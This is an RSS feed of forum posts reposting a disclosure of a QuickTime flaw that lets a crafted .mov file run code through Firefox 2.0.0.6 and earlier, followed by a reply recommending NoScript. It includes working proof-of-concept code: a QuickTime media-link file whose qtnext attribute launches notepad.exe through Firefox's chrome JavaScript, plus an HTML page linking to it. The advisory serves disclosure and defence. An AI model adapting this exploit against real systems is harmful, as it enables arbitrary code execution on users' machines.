<![CDATA[Latest posts for the topic "0DAY: QuickTime pwns Firefox"]]> /hvaonline/posts/list/13.html JForum - http://www.jforum.net 0DAY: QuickTime pwns Firefox 0DAY: QuickTime pwns Firefox ISSUE Petko D. Petkov identified an issue in Quicktime that allows an attacker to execute arbitrary code. IMPACT Vulnerable System: Firefox 2.0.0.6 and below. If Firefox is the default browser when a user plays a malicious media file handled by Quicktime, an attacker can use a vulnerability in Quicktime to compromise Firefox or the local machine. This can happen while browsing or by opening a malicious media file directly in Quicktime. So far this is only reproducible on Windows. Petkov provided proof of concept code that may be easily converted into an exploit, so users should consider this a very serious issue. EXPLOIT Following exploit code will execute notepad.exe a.mov Code:
<?xml version="1.0">
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="a.mp3" autoplay="true" qtnext="-chrome javascript:file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath('c:\\windows\\system32\\notepad.exe');process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(true,[],0);void(0);"/>
a.html Code:
<html>
<body>
<a href = "a.mov">a.mp3</a>
</body>
</html>
ADDITIONAL INFORMATION More information here: http://www.gnucitizen.org/projects/0day-quicktime-pwns-firefox/]]> /hvaonline/posts/list/14337.html#85634 /hvaonline/posts/list/14337.html#85634 GMT Re: 0DAY: QuickTime pwns Firefox /hvaonline/posts/list/14337.html#85635 /hvaonline/posts/list/14337.html#85635 GMT Re: 0DAY: QuickTime pwns Firefox

pdp responds wrote:
I would recommend to install NoScript if you are a Firefox user and switch to Firefox with NoScript if you use any other browser. When a fix is available, restore your settings.  
]]> /hvaonline/posts/list/14337.html#85666 /hvaonline/posts/list/14337.html#85666 GMT Re: 0DAY: QuickTime pwns Firefox /hvaonline/posts/list/14337.html#86567 /hvaonline/posts/list/14337.html#86567 GMT Re: 0DAY: QuickTime pwns Firefox /hvaonline/posts/list/14337.html#86580 /hvaonline/posts/list/14337.html#86580 GMT